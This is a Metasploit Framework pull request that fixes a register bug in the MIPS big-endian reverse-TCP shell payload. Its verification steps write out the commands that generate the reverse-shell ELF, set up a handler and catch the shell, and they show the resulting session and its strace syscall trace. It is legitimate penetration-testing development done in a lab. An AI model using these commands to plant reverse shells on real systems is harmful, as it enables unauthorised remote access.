rapid7/metasploit-framework — pull request #2844 by jvazquez-r7 (2014-01-08 00:10:13+00:00)
Title: Fix the mipsbe shell_reverse_tcp payload

There is a subtle but important error on the mipsbe shell_reverse_tcp encoder, where it's using a temporary register to store a loop counter, whose value must be preserved over system calls. Unfortunately the $t7 temporary register isn't a good option.

Verification
========

- [ ] Generate an elf with the payload embedded

```
Juans-MacBook-Pro:metasploit-framework juan$ ./msfpayload linux/mipsbe/shell_reverse_tcp LHOST=192.168.172.1 LPORT=4444 X > /tmp/shell.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell_reverse_tcp
Length: 184
Options: {"LHOST"=>"192.168.172.1", "LPORT"=>"4444"}
Juans-MacBook-Pro:metasploit-framework juan$ scp -P 2223 /tmp/shell.elf juan@192.168.172.134:/home/juan
```

- [ ] Run the msfconsole and use the exploit/multi/handler module with the samee payload:

```
msf exploit(handler) > set payload linux/mipsbe/shell_reverse_tcp
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (linux/mipsbe/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
```

- [ ] Upload the elf to a MIPSBE based machine, give +x permissions and execute instrument systemcalls with strace:

```
juan@mipsdebian:~$ chmod +x shell.elf
juan@mipsdebian:~$ strace ./shell.elf 2> ouput
```

- [ ] Verify which the session is working on the msfconsole

```
[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Command shell session 8 opened (192.168.172.1:4444 -> 192.168.172.134:59001) at 2014-01-07 18:02:28 -0600

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
ls
apmib-ld.a
apmib-ld.o
apmib-ld.so.bak
apmib.c
boa
error.log
ouput
shell.elf
shellbe.elf
```

- [ ] Verify the sequence of system calls on the strace output, you should find something like that:

```
execve("./shell.elf", ["./shell.elf"], [/* 16 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) = 0
dup2(3, 2) = 2
dup2(3, 1) = 1
dup2(3, 0) = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
```

- [ ] Verify the dup2 calls! There should be three dup2 calls with newfd the result of the previous socket systemcall, and newfd = {2, 1, o}